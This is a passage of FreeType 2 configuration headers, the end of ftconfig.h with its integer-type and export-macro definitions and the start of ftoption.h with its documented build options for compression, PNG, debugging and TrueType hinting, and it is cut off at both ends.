FT_UINT_MAX > 0xFFFFFFFFUL && FT_UINT_MAX == 0xFFFFFFFFFFFFFFFFUL #define FT_SIZEOF_INT (64 / FT_CHAR_BIT) #else #error "Unsupported size of `int' type!" #endif /* The size of a `long' type. A five-byte `long' (as used e.g. on the */ /* DM642) is recognized but avoided. */ #if FT_ULONG_MAX == 0xFFFFFFFFUL #define FT_SIZEOF_LONG (32 / FT_CHAR_BIT) #elif FT_ULONG_MAX > 0xFFFFFFFFUL && FT_ULONG_MAX == 0xFFFFFFFFFFUL #define FT_SIZEOF_LONG (32 / FT_CHAR_BIT) #elif FT_ULONG_MAX > 0xFFFFFFFFUL && FT_ULONG_MAX == 0xFFFFFFFFFFFFFFFFUL #define FT_SIZEOF_LONG (64 / FT_CHAR_BIT) #else #error "Unsupported size of `long' type!" #endif #endif /* !FT_USE_AUTOCONF_SIZEOF_TYPES */ /* FT_UNUSED is a macro used to indicate that a given parameter is not */ /* used -- this is only used to get rid of unpleasant compiler warnings */ #ifndef FT_UNUSED #define FT_UNUSED( arg ) ( (arg) = (arg) ) #endif /*************************************************************************/ /* */ /* AUTOMATIC CONFIGURATION MACROS */ /* */ /* These macros are computed from the ones defined above. Don't touch */ /* their definition, unless you know precisely what you are doing. No */ /* porter should need to mess with them. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* Mac support */ /* */ /* This is the only necessary change, so it is defined here instead */ /* providing a new configuration file. */ /* */ #if defined( __APPLE__ ) || ( defined( __MWERKS__ ) && defined( macintosh ) ) /* no Carbon frameworks for 64bit 10.4.x */ /* AvailabilityMacros.h is available since Mac OS X 10.2, */ /* so guess the system version by maximum errno before inclusion */ #include <errno.h> #ifdef ECANCELED /* defined since 10.2 */ #include "AvailabilityMacros.h" #endif #if defined( __LP64__ ) && \ ( MAC_OS_X_VERSION_MIN_REQUIRED <= MAC_OS_X_VERSION_10_4 ) #undef FT_MACINTOSH #endif #elif defined( __SC__ ) || defined( __MRC__ ) /* Classic MacOS compilers */ #include "ConditionalMacros.h" #if TARGET_OS_MAC #define FT_MACINTOSH 1 #endif #endif /* Fix compiler warning with sgi compiler */ #if defined( __sgi ) && !defined( __GNUC__ ) #if defined( _COMPILER_VERSION ) && ( _COMPILER_VERSION >= 730 ) #pragma set woff 3505 #endif #endif /*************************************************************************/ /* */ /* <Section> */ /* basic_types */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Int16 */ /* */ /* <Description> */ /* A typedef for a 16bit signed integer type. */ /* */ typedef signed short FT_Int16; /*************************************************************************/ /* */ /* <Type> */ /* FT_UInt16 */ /* */ /* <Description> */ /* A typedef for a 16bit unsigned integer type. */ /* */ typedef unsigned short FT_UInt16; /* */ /* this #if 0 ... #endif clause is for documentation purposes */ #if 0 /*************************************************************************/ /* */ /* <Type> */ /* FT_Int32 */ /* */ /* <Description> */ /* A typedef for a 32bit signed integer type. The size depends on */ /* the configuration. */ /* */ typedef signed XXX FT_Int32; /*************************************************************************/ /* */ /* <Type> */ /* FT_UInt32 */ /* */ /* A typedef for a 32bit unsigned integer type. The size depends on */ /* the configuration. */ /* */ typedef unsigned XXX FT_UInt32; /*************************************************************************/ /* */ /* <Type> */ /* FT_Int64 */ /* */ /* A typedef for a 64bit signed integer type. The size depends on */ /* the configuration. Only defined if there is real 64bit support; */ /* otherwise, it gets emulated with a structure (if necessary). */ /* */ typedef signed XXX FT_Int64; /*************************************************************************/ /* */ /* <Type> */ /* FT_UInt64 */ /* */ /* A typedef for a 64bit unsigned integer type. The size depends on */ /* the configuration. Only defined if there is real 64bit support; */ /* otherwise, it gets emulated with a structure (if necessary). */ /* */ typedef unsigned XXX FT_UInt64; /* */ #endif #if FT_SIZEOF_INT == 4 typedef signed int FT_Int32; typedef unsigned int FT_UInt32; #elif FT_SIZEOF_LONG == 4 typedef signed long FT_Int32; typedef unsigned long FT_UInt32; #else #error "no 32bit type found -- please check your configuration files" #endif /* look up an integer type that is at least 32 bits */ #if FT_SIZEOF_INT >= 4 typedef int FT_Fast; typedef unsigned int FT_UFast; #elif FT_SIZEOF_LONG >= 4 typedef long FT_Fast; typedef unsigned long FT_UFast; #endif /* determine whether we have a 64-bit int type */ /* (mostly for environments without `autoconf') */ #if FT_SIZEOF_LONG == 8 /* FT_LONG64 must be defined if a 64-bit type is available */ #define FT_LONG64 #define FT_INT64 long #define FT_UINT64 unsigned long /* we handle the LLP64 scheme separately for GCC and clang, */ /* suppressing the `long long' warning */ #elif ( FT_SIZEOF_LONG == 4 ) && \ defined( HAVE_LONG_LONG_INT ) && \ defined( __GNUC__ ) #pragma GCC diagnostic ignored "-Wlong-long" #define FT_LONG64 #define FT_INT64 long long int #define FT_UINT64 unsigned long long int /*************************************************************************/ /* */ /* A 64-bit data type may create compilation problems if you compile */ /* in strict ANSI mode. To avoid them, we disable other 64-bit data */ /* types if __STDC__ is defined. You can however ignore this rule */ /* by defining the FT_CONFIG_OPTION_FORCE_INT64 configuration macro. */ /* */ #elif !defined( __STDC__ ) || defined( FT_CONFIG_OPTION_FORCE_INT64 ) #if defined( __STDC_VERSION__ ) && __STDC_VERSION__ >= 199901L #define FT_LONG64 #define FT_INT64 long long int #define FT_UINT64 unsigned long long int #elif defined( _MSC_VER ) && _MSC_VER >= 900 /* Visual C++ (and Intel C++) */ /* this compiler provides the __int64 type */ #define FT_LONG64 #define FT_INT64 __int64 #define FT_UINT64 unsigned __int64 #elif defined( __BORLANDC__ ) /* Borland C++ */ /* XXXX: We should probably check the value of __BORLANDC__ in order */ /* to test the compiler version. */ /* this compiler provides the __int64 type */ #define FT_LONG64 #define FT_INT64 __int64 #define FT_UINT64 unsigned __int64 #elif defined( __WATCOMC__ ) /* Watcom C++ */ /* Watcom doesn't provide 64-bit data types */ #elif defined( __MWERKS__ ) /* Metrowerks CodeWarrior */ #define FT_LONG64 #define FT_INT64 long long int #define FT_UINT64 unsigned long long int #elif defined( __GNUC__ ) /* GCC provides the `long long' type */ #define FT_LONG64 #define FT_INT64 long long int #define FT_UINT64 unsigned long long int #endif /* __STDC_VERSION__ >= 199901L */ #endif /* FT_SIZEOF_LONG == 8 */ #ifdef FT_LONG64 typedef FT_INT64 FT_Int64; typedef FT_UINT64 FT_UInt64; #endif #ifdef _WIN64 /* only 64bit Windows uses the LLP64 data model, i.e., */ /* 32bit integers, 64bit pointers */ #define FT_UINT_TO_POINTER( x ) (void*)(unsigned __int64)(x) #else #define FT_UINT_TO_POINTER( x ) (void*)(unsigned long)(x) #endif /*************************************************************************/ /* */ /* miscellaneous */ /* */ /*************************************************************************/ #define FT_BEGIN_STMNT do { #define FT_END_STMNT } while ( 0 ) #define FT_DUMMY_STMNT FT_BEGIN_STMNT FT_END_STMNT /* typeof condition taken from gnulib's `intprops.h' header file */ #if ( ( defined( __GNUC__ ) && __GNUC__ >= 2 ) || \ ( defined( __IBMC__ ) && __IBMC__ >= 1210 && \ defined( __IBM__TYPEOF__ ) ) || \ ( defined( __SUNPRO_C ) && __SUNPRO_C >= 0x5110 && !__STDC__ ) ) #define FT_TYPEOF( type ) ( __typeof__ ( type ) ) #else #define FT_TYPEOF( type ) /* empty */ #endif /* Use FT_LOCAL and FT_LOCAL_DEF to declare and define, respectively, */ /* a function that gets used only within the scope of a module. */ /* Normally, both the header and source code files for such a */ /* function are within a single module directory. */ /* */ /* Intra-module arrays should be tagged with FT_LOCAL_ARRAY and */ /* FT_LOCAL_ARRAY_DEF. */ /* */ #ifdef FT_MAKE_OPTION_SINGLE_OBJECT #define FT_LOCAL( x ) static x #define FT_LOCAL_DEF( x ) static x #else #ifdef __cplusplus #define FT_LOCAL( x ) extern "C" x #define FT_LOCAL_DEF( x ) extern "C" x #else #define FT_LOCAL( x ) extern x #define FT_LOCAL_DEF( x ) x #endif #endif /* FT_MAKE_OPTION_SINGLE_OBJECT */ #define FT_LOCAL_ARRAY( x ) extern const x #define FT_LOCAL_ARRAY_DEF( x ) const x /* Use FT_BASE and FT_BASE_DEF to declare and define, respectively, */ /* functions that are used in more than a single module. In the */ /* current setup this implies that the declaration is in a header */ /* file in the `include/freetype/internal' directory, and the */ /* function body is in a file in `src/base'. */ /* */ #ifndef FT_BASE #ifdef __cplusplus #define FT_BASE( x ) extern "C" x #else #define FT_BASE( x ) extern x #endif #endif /* !FT_BASE */ #ifndef FT_BASE_DEF #ifdef __cplusplus #define FT_BASE_DEF( x ) x #else #define FT_BASE_DEF( x ) x #endif #endif /* !FT_BASE_DEF */ /* When compiling FreeType as a DLL or DSO with hidden visibility */ /* some systems/compilers need a special attribute in front OR after */ /* the return type of function declarations. */ /* */ /* Two macros are used within the FreeType source code to define */ /* exported library functions: FT_EXPORT and FT_EXPORT_DEF. */ /* */ /* FT_EXPORT( return_type ) */ /* */ /* is used in a function declaration, as in */ /* */ /* FT_EXPORT( FT_Error ) */ /* FT_Init_FreeType( FT_Library* alibrary ); */ /* */ /* */ /* FT_EXPORT_DEF( return_type ) */ /* */ /* is used in a function definition, as in */ /* */ /* FT_EXPORT_DEF( FT_Error ) */ /* FT_Init_FreeType( FT_Library* alibrary ) */ /* { */ /* ... some code ... */ /* return FT_Err_Ok; */ /* } */ /* */ /* You can provide your own implementation of FT_EXPORT and */ /* FT_EXPORT_DEF here if you want. */ /* */ /* To export a variable, use FT_EXPORT_VAR. */ /* */ #ifndef FT_EXPORT #ifdef FT2_BUILD_LIBRARY #if defined( _WIN32 ) && ( defined( _DLL ) || defined( DLL_EXPORT ) ) #define FT_EXPORT( x ) __declspec( dllexport ) x #elif defined( __GNUC__ ) && __GNUC__ >= 4 #define FT_EXPORT( x ) __attribute__(( visibility( "default" ) )) x #elif defined( __cplusplus ) #define FT_EXPORT( x ) extern "C" x #else #define FT_EXPORT( x ) extern x #endif #else #if defined( FT2_DLLIMPORT ) #define FT_EXPORT( x ) __declspec( dllimport ) x #elif defined( __cplusplus ) #define FT_EXPORT( x ) extern "C" x #else #define FT_EXPORT( x ) extern x #endif #endif #endif /* !FT_EXPORT */ #ifndef FT_EXPORT_DEF #ifdef __cplusplus #define FT_EXPORT_DEF( x ) extern "C" x #else #define FT_EXPORT_DEF( x ) extern x #endif #endif /* !FT_EXPORT_DEF */ #ifndef FT_EXPORT_VAR #ifdef __cplusplus #define FT_EXPORT_VAR( x ) extern "C" x #else #define FT_EXPORT_VAR( x ) extern x #endif #endif /* !FT_EXPORT_VAR */ /* The following macros are needed to compile the library with a */ /* C++ compiler and with 16bit compilers. */ /* */ /* This is special. Within C++, you must specify `extern "C"' for */ /* functions which are used via function pointers, and you also */ /* must do that for structures which contain function pointers to */ /* assure C linkage -- it's not possible to have (local) anonymous */ /* functions which are accessed by (global) function pointers. */ /* */ /* */ /* FT_CALLBACK_DEF is used to _define_ a callback function, */ /* located in the same source code file as the structure that uses */ /* it. */ /* */ /* FT_BASE_CALLBACK and FT_BASE_CALLBACK_DEF are used to declare */ /* and define a callback function, respectively, in a similar way */ /* as FT_BASE and FT_BASE_DEF work. */ /* */ /* FT_CALLBACK_TABLE is used to _declare_ a constant variable that */ /* contains pointers to callback functions. */ /* */ /* FT_CALLBACK_TABLE_DEF is used to _define_ a constant variable */ /* that contains pointers to callback functions. */ /* */ /* */ /* Some 16bit compilers have to redefine these macros to insert */ /* the infamous `_cdecl' or `__fastcall' declarations. */ /* */ #ifndef FT_CALLBACK_DEF #ifdef __cplusplus #define FT_CALLBACK_DEF( x ) extern "C" x #else #define FT_CALLBACK_DEF( x ) static x #endif #endif /* FT_CALLBACK_DEF */ #ifndef FT_BASE_CALLBACK #ifdef __cplusplus #define FT_BASE_CALLBACK( x ) extern "C" x #define FT_BASE_CALLBACK_DEF( x ) extern "C" x #else #define FT_BASE_CALLBACK( x ) extern x #define FT_BASE_CALLBACK_DEF( x ) x #endif #endif /* FT_BASE_CALLBACK */ #ifndef FT_CALLBACK_TABLE #ifdef __cplusplus #define FT_CALLBACK_TABLE extern "C" #define FT_CALLBACK_TABLE_DEF extern "C" #else #define FT_CALLBACK_TABLE extern #define FT_CALLBACK_TABLE_DEF /* nothing */ #endif #endif /* FT_CALLBACK_TABLE */ FT_END_HEADER #endif /* FTCONFIG_H_ */ /* END */ freetype2/freetype/config/ftoption.h 0000644 00000170066 15246445047 0013601 0 ustar 00 /***************************************************************************/ /* */ /* ftoption.h */ /* */ /* User-selectable configuration macros (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTOPTION_H_ #define FTOPTION_H_ #include <ft2build.h> FT_BEGIN_HEADER /*************************************************************************/ /* */ /* USER-SELECTABLE CONFIGURATION MACROS */ /* */ /* This file contains the default configuration macro definitions for */ /* a standard build of the FreeType library. There are three ways to */ /* use this file to build project-specific versions of the library: */ /* */ /* - You can modify this file by hand, but this is not recommended in */ /* cases where you would like to build several versions of the */ /* library from a single source directory. */ /* */ /* - You can put a copy of this file in your build directory, more */ /* precisely in `$BUILD/freetype/config/ftoption.h', where `$BUILD' */ /* is the name of a directory that is included _before_ the FreeType */ /* include path during compilation. */ /* */ /* The default FreeType Makefiles and Jamfiles use the build */ /* directory `builds/<system>' by default, but you can easily change */ /* that for your own projects. */ /* */ /* - Copy the file <ft2build.h> to `$BUILD/ft2build.h' and modify it */ /* slightly to pre-define the macro FT_CONFIG_OPTIONS_H used to */ /* locate this file during the build. For example, */ /* */ /* #define FT_CONFIG_OPTIONS_H <myftoptions.h> */ /* #include <freetype/config/ftheader.h> */ /* */ /* will use `$BUILD/myftoptions.h' instead of this file for macro */ /* definitions. */ /* */ /* Note also that you can similarly pre-define the macro */ /* FT_CONFIG_MODULES_H used to locate the file listing of the modules */ /* that are statically linked to the library at compile time. By */ /* default, this file is <freetype/config/ftmodule.h>. */ /* */ /* We highly recommend using the third method whenever possible. */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** G E N E R A L F R E E T Y P E 2 C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*#***********************************************************************/ /* */ /* If you enable this configuration option, FreeType recognizes an */ /* environment variable called `FREETYPE_PROPERTIES', which can be used */ /* to control the various font drivers and modules. The controllable */ /* properties are listed in the section @properties. */ /* */ /* You have to undefine this configuration option on platforms that lack */ /* the concept of environment variables (and thus don't have the */ /* `getenv' function), for example Windows CE. */ /* */ /* `FREETYPE_PROPERTIES' has the following syntax form (broken here into */ /* multiple lines for better readability). */ /* */ /* { */ /* <optional whitespace> */ /* <module-name1> ':' */ /* <property-name1> '=' <property-value1> */ /* <whitespace> */ /* <module-name2> ':' */ /* <property-name2> '=' <property-value2> */ /* ... */ /* } */ /* */ /* Example: */ /* */ /* FREETYPE_PROPERTIES=truetype:interpreter-version=35 \ */ /* cff:no-stem-darkening=1 \ */ /* autofitter:warping=1 */ /* */ #define FT_CONFIG_OPTION_ENVIRONMENT_PROPERTIES /*************************************************************************/ /* */ /* Uncomment the line below if you want to activate LCD rendering */ /* technology similar to ClearType in this build of the library. This */ /* technology triples the resolution in the direction color subpixels. */ /* To mitigate color fringes inherent to this technology, you also need */ /* to explicitly set up LCD filtering. */ /* */ /* Note that this feature is covered by several Microsoft patents */ /* and should not be activated in any default build of the library. */ /* When this macro is not defined, FreeType offers alternative LCD */ /* rendering technology that produces excellent output without LCD */ /* filtering. */ /* */ #define FT_CONFIG_OPTION_SUBPIXEL_RENDERING /*************************************************************************/ /* */ /* Many compilers provide a non-ANSI 64-bit data type that can be used */ /* by FreeType to speed up some computations. However, this will create */ /* some problems when compiling the library in strict ANSI mode. */ /* */ /* For this reason, the use of 64-bit integers is normally disabled when */ /* the __STDC__ macro is defined. You can however disable this by */ /* defining the macro FT_CONFIG_OPTION_FORCE_INT64 here. */ /* */ /* For most compilers, this will only create compilation warnings when */ /* building the library. */ /* */ /* ObNote: The compiler-specific 64-bit integers are detected in the */ /* file `ftconfig.h' either statically or through the */ /* `configure' script on supported platforms. */ /* */ #undef FT_CONFIG_OPTION_FORCE_INT64 /*************************************************************************/ /* */ /* If this macro is defined, do not try to use an assembler version of */ /* performance-critical functions (e.g. FT_MulFix). You should only do */ /* that to verify that the assembler function works properly, or to */ /* execute benchmark tests of the various implementations. */ /* #define FT_CONFIG_OPTION_NO_ASSEMBLER */ /*************************************************************************/ /* */ /* If this macro is defined, try to use an inlined assembler version of */ /* the `FT_MulFix' function, which is a `hotspot' when loading and */ /* hinting glyphs, and which should be executed as fast as possible. */ /* */ /* Note that if your compiler or CPU is not supported, this will default */ /* to the standard and portable implementation found in `ftcalc.c'. */ /* */ #define FT_CONFIG_OPTION_INLINE_MULFIX /*************************************************************************/ /* */ /* LZW-compressed file support. */ /* */ /* FreeType now handles font files that have been compressed with the */ /* `compress' program. This is mostly used to parse many of the PCF */ /* files that come with various X11 distributions. The implementation */ /* uses NetBSD's `zopen' to partially uncompress the file on the fly */ /* (see src/lzw/ftgzip.c). */ /* */ /* Define this macro if you want to enable this `feature'. */ /* */ #define FT_CONFIG_OPTION_USE_LZW /*************************************************************************/ /* */ /* Gzip-compressed file support. */ /* */ /* FreeType now handles font files that have been compressed with the */ /* `gzip' program. This is mostly used to parse many of the PCF files */ /* that come with XFree86. The implementation uses `zlib' to */ /* partially uncompress the file on the fly (see src/gzip/ftgzip.c). */ /* */ /* Define this macro if you want to enable this `feature'. See also */ /* the macro FT_CONFIG_OPTION_SYSTEM_ZLIB below. */ /* */ #define FT_CONFIG_OPTION_USE_ZLIB /*************************************************************************/ /* */ /* ZLib library selection */ /* */ /* This macro is only used when FT_CONFIG_OPTION_USE_ZLIB is defined. */ /* It allows FreeType's `ftgzip' component to link to the system's */ /* installation of the ZLib library. This is useful on systems like */ /* Unix or VMS where it generally is already available. */ /* */ /* If you let it undefined, the component will use its own copy */ /* of the zlib sources instead. These have been modified to be */ /* included directly within the component and *not* export external */ /* function names. This allows you to link any program with FreeType */ /* _and_ ZLib without linking conflicts. */ /* */ /* Do not #undef this macro here since the build system might define */ /* it for certain configurations only. */ /* */ /* If you use a build system like cmake or the `configure' script, */ /* options set by those programs have precendence, overwriting the */ /* value here with the configured one. */ /* */ #define FT_CONFIG_OPTION_SYSTEM_ZLIB /*************************************************************************/ /* */ /* Bzip2-compressed file support. */ /* */ /* FreeType now handles font files that have been compressed with the */ /* `bzip2' program. This is mostly used to parse many of the PCF */ /* files that come with XFree86. The implementation uses `libbz2' to */ /* partially uncompress the file on the fly (see src/bzip2/ftbzip2.c). */ /* Contrary to gzip, bzip2 currently is not included and need to use */ /* the system available bzip2 implementation. */ /* */ /* Define this macro if you want to enable this `feature'. */ /* */ /* If you use a build system like cmake or the `configure' script, */ /* options set by those programs have precendence, overwriting the */ /* value here with the configured one. */ /* */ #define FT_CONFIG_OPTION_USE_BZIP2 /*************************************************************************/ /* */ /* Define to disable the use of file stream functions and types, FILE, */ /* fopen() etc. Enables the use of smaller system libraries on embedded */ /* systems that have multiple system libraries, some with or without */ /* file stream support, in the cases where file stream support is not */ /* necessary such as memory loading of font files. */ /* */ /* #define FT_CONFIG_OPTION_DISABLE_STREAM_SUPPORT */ /*************************************************************************/ /* */ /* PNG bitmap support. */ /* */ /* FreeType now handles loading color bitmap glyphs in the PNG format. */ /* This requires help from the external libpng library. Uncompressed */ /* color bitmaps do not need any external libraries and will be */ /* supported regardless of this configuration. */ /* */ /* Define this macro if you want to enable this `feature'. */ /* */ /* If you use a build system like cmake or the `configure' script, */ /* options set by those programs have precendence, overwriting the */ /* value here with the configured one. */ /* */ #define FT_CONFIG_OPTION_USE_PNG /*************************************************************************/ /* */ /* HarfBuzz support. */ /* */ /* FreeType uses the HarfBuzz library to improve auto-hinting of */ /* OpenType fonts. If available, many glyphs not directly addressable */ /* by a font's character map will be hinted also. */ /* */ /* Define this macro if you want to enable this `feature'. */ /* */ /* If you use a build system like cmake or the `configure' script, */ /* options set by those programs have precendence, overwriting the */ /* value here with the configured one. */ /* */ /* #undef FT_CONFIG_OPTION_USE_HARFBUZZ */ /*************************************************************************/ /* */ /* Glyph Postscript Names handling */ /* */ /* By default, FreeType 2 is compiled with the `psnames' module. This */ /* module is in charge of converting a glyph name string into a */ /* Unicode value, or return a Macintosh standard glyph name for the */ /* use with the TrueType `post' table. */ /* */ /* Undefine this macro if you do not want `psnames' compiled in your */ /* build of FreeType. This has the following effects: */ /* */ /* - The TrueType driver will provide its own set of glyph names, */ /* if you build it to support postscript names in the TrueType */ /* `post' table, but will not synthesize a missing Unicode charmap. */ /* */ /* - The Type 1 driver will not be able to synthesize a Unicode */ /* charmap out of the glyphs found in the fonts. */ /* */ /* You would normally undefine this configuration macro when building */ /* a version of FreeType that doesn't contain a Type 1 or CFF driver. */ /* */ #define FT_CONFIG_OPTION_POSTSCRIPT_NAMES /*************************************************************************/ /* */ /* Postscript Names to Unicode Values support */ /* */ /* By default, FreeType 2 is built with the `PSNames' module compiled */ /* in. Among other things, the module is used to convert a glyph name */ /* into a Unicode value. This is especially useful in order to */ /* synthesize on the fly a Unicode charmap from the CFF/Type 1 driver */ /* through a big table named the `Adobe Glyph List' (AGL). */ /* */ /* Undefine this macro if you do not want the Adobe Glyph List */ /* compiled in your `PSNames' module. The Type 1 driver will not be */ /* able to synthesize a Unicode charmap out of the glyphs found in the */ /* fonts. */ /* */ #define FT_CONFIG_OPTION_ADOBE_GLYPH_LIST /*************************************************************************/ /* */ /* Support for Mac fonts */ /* */ /* Define this macro if you want support for outline fonts in Mac */ /* format (mac dfont, mac resource, macbinary containing a mac */ /* resource) on non-Mac platforms. */ /* */ /* Note that the `FOND' resource isn't checked. */ /* */ #define FT_CONFIG_OPTION_MAC_FONTS /*************************************************************************/ /* */ /* Guessing methods to access embedded resource forks */ /* */ /* Enable extra Mac fonts support on non-Mac platforms (e.g. */ /* GNU/Linux). */ /* */ /* Resource forks which include fonts data are stored sometimes in */ /* locations which users or developers don't expected. In some cases, */ /* resource forks start with some offset from the head of a file. In */ /* other cases, the actual resource fork is stored in file different */ /* from what the user specifies. If this option is activated, */ /* FreeType tries to guess whether such offsets or different file */ /* names must be used. */ /* */ /* Note that normal, direct access of resource forks is controlled via */ /* the FT_CONFIG_OPTION_MAC_FONTS option. */ /* */ #ifdef FT_CONFIG_OPTION_MAC_FONTS #define FT_CONFIG_OPTION_GUESSING_EMBEDDED_RFORK #endif /*************************************************************************/ /* */ /* Allow the use of FT_Incremental_Interface to load typefaces that */ /* contain no glyph data, but supply it via a callback function. */ /* This is required by clients supporting document formats which */ /* supply font data incrementally as the document is parsed, such */ /* as the Ghostscript interpreter for the PostScript language. */ /* */ #define FT_CONFIG_OPTION_INCREMENTAL /*************************************************************************/ /* */ /* The size in bytes of the render pool used by the scan-line converter */ /* to do all of its work. */ /* */ #define FT_RENDER_POOL_SIZE 16384L /*************************************************************************/ /* */ /* FT_MAX_MODULES */ /* */ /* The maximum number of modules that can be registered in a single */ /* FreeType library object. 32 is the default. */ /* */ #define FT_MAX_MODULES 32 /*************************************************************************/ /* */ /* Debug level */ /* */ /* FreeType can be compiled in debug or trace mode. In debug mode, */ /* errors are reported through the `ftdebug' component. In trace */ /* mode, additional messages are sent to the standard output during */ /* execution. */ /* */ /* Define FT_DEBUG_LEVEL_ERROR to build the library in debug mode. */ /* Define FT_DEBUG_LEVEL_TRACE to build it in trace mode. */ /* */ /* Don't define any of these macros to compile in `release' mode! */ /* */ /* Do not #undef these macros here since the build system might define */ /* them for certain configurations only. */ /* */ /* #define FT_DEBUG_LEVEL_ERROR */ /* #define FT_DEBUG_LEVEL_TRACE */ /*************************************************************************/ /* */ /* Autofitter debugging */ /* */ /* If FT_DEBUG_AUTOFIT is defined, FreeType provides some means to */ /* control the autofitter behaviour for debugging purposes with global */ /* boolean variables (consequently, you should *never* enable this */ /* while compiling in `release' mode): */ /* */ /* _af_debug_disable_horz_hints */ /* _af_debug_disable_vert_hints */ /* _af_debug_disable_blue_hints */ /* */ /* Additionally, the following functions provide dumps of various */ /* internal autofit structures to stdout (using `printf'): */ /* */ /* af_glyph_hints_dump_points */ /* af_glyph_hints_dump_segments */ /* af_glyph_hints_dump_edges */ /* af_glyph_hints_get_num_segments */ /* af_glyph_hints_get_segment_offset */ /* */ /* As an argument, they use another global variable: */ /* */ /* _af_debug_hints */ /* */ /* Please have a look at the `ftgrid' demo program to see how those */ /* variables and macros should be used. */ /* */ /* Do not #undef these macros here since the build system might define */ /* them for certain configurations only. */ /* */ /* #define FT_DEBUG_AUTOFIT */ /*************************************************************************/ /* */ /* Memory Debugging */ /* */ /* FreeType now comes with an integrated memory debugger that is */ /* capable of detecting simple errors like memory leaks or double */ /* deletes. To compile it within your build of the library, you */ /* should define FT_DEBUG_MEMORY here. */ /* */ /* Note that the memory debugger is only activated at runtime when */ /* when the _environment_ variable `FT2_DEBUG_MEMORY' is defined also! */ /* */ /* Do not #undef this macro here since the build system might define */ /* it for certain configurations only. */ /* */ /* #define FT_DEBUG_MEMORY */ /*************************************************************************/ /* */ /* Module errors */ /* */ /* If this macro is set (which is _not_ the default), the higher byte */ /* of an error code gives the module in which the error has occurred, */ /* while the lower byte is the real error code. */ /* */ /* Setting this macro makes sense for debugging purposes only, since */ /* it would break source compatibility of certain programs that use */ /* FreeType 2. */ /* */ /* More details can be found in the files ftmoderr.h and fterrors.h. */ /* */ #undef FT_CONFIG_OPTION_USE_MODULE_ERRORS /*************************************************************************/ /* */ /* Position Independent Code */ /* */ /* If this macro is set (which is _not_ the default), FreeType2 will */ /* avoid creating constants that require address fixups. Instead the */ /* constants will be moved into a struct and additional intialization */ /* code will be used. */ /* */ /* Setting this macro is needed for systems that prohibit address */ /* fixups, such as BREW. [Note that standard compilers like gcc or */ /* clang handle PIC generation automatically; you don't have to set */ /* FT_CONFIG_OPTION_PIC, which is only necessary for very special */ /* compilers.] */ /* */ /* Note that FT_CONFIG_OPTION_PIC support is not available for all */ /* modules (see `modules.cfg' for a complete list). For building with */ /* FT_CONFIG_OPTION_PIC support, do the following. */ /* */ /* 0. Clone the repository. */ /* 1. Define FT_CONFIG_OPTION_PIC. */ /* 2. Remove all subdirectories in `src' that don't have */ /* FT_CONFIG_OPTION_PIC support. */ /* 3. Comment out the corresponding modules in `modules.cfg'. */ /* 4. Compile. */ /* */ /* #define FT_CONFIG_OPTION_PIC */ /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** S F N T D R I V E R C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_EMBEDDED_BITMAPS if you want to support */ /* embedded bitmaps in all formats using the SFNT module (namely */ /* TrueType & OpenType). */ /* */ #define TT_CONFIG_OPTION_EMBEDDED_BITMAPS /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_POSTSCRIPT_NAMES if you want to be able to */ /* load and enumerate the glyph Postscript names in a TrueType or */ /* OpenType file. */ /* */ /* Note that when you do not compile the `PSNames' module by undefining */ /* the above FT_CONFIG_OPTION_POSTSCRIPT_NAMES, the `sfnt' module will */ /* contain additional code used to read the PS Names table from a font. */ /* */ /* (By default, the module uses `PSNames' to extract glyph names.) */ /* */ #define TT_CONFIG_OPTION_POSTSCRIPT_NAMES /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_SFNT_NAMES if your applications need to */ /* access the internal name table in a SFNT-based format like TrueType */ /* or OpenType. The name table contains various strings used to */ /* describe the font, like family name, copyright, version, etc. It */ /* does not contain any glyph name though. */ /* */ /* Accessing SFNT names is done through the functions declared in */ /* `ftsnames.h'. */ /* */ #define TT_CONFIG_OPTION_SFNT_NAMES /*************************************************************************/ /* */ /* TrueType CMap support */ /* */ /* Here you can fine-tune which TrueType CMap table format shall be */ /* supported. */ #define TT_CONFIG_CMAP_FORMAT_0 #define TT_CONFIG_CMAP_FORMAT_2 #define TT_CONFIG_CMAP_FORMAT_4 #define TT_CONFIG_CMAP_FORMAT_6 #define TT_CONFIG_CMAP_FORMAT_8 #define TT_CONFIG_CMAP_FORMAT_10 #define TT_CONFIG_CMAP_FORMAT_12 #define TT_CONFIG_CMAP_FORMAT_13 #define TT_CONFIG_CMAP_FORMAT_14 /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** T R U E T Y P E D R I V E R C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_BYTECODE_INTERPRETER if you want to compile */ /* a bytecode interpreter in the TrueType driver. */ /* */ /* By undefining this, you will only compile the code necessary to load */ /* TrueType glyphs without hinting. */ /* */ /* Do not #undef this macro here, since the build system might */ /* define it for certain configurations only. */ /* */ #define TT_CONFIG_OPTION_BYTECODE_INTERPRETER /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_SUBPIXEL_HINTING if you want to compile */ /* subpixel hinting support into the TrueType driver. This modifies the */ /* TrueType hinting mechanism when anything but FT_RENDER_MODE_MONO is */ /* requested. */ /* */ /* In particular, it modifies the bytecode interpreter to interpret (or */ /* not) instructions in a certain way so that all TrueType fonts look */ /* like they do in a Windows ClearType (DirectWrite) environment. See */ /* [1] for a technical overview on what this means. See `ttinterp.h' */ /* for more details on the LEAN option. */ /* */ /* There are three possible values. */ /* */ /* Value 1: */ /* This value is associated with the `Infinality' moniker, */ /* contributed by an individual nicknamed Infinality with the goal of */ /* making TrueType fonts render better than on Windows. A high */ /* amount of configurability and flexibility, down to rules for */ /* single glyphs in fonts, but also very slow. Its experimental and */ /* slow 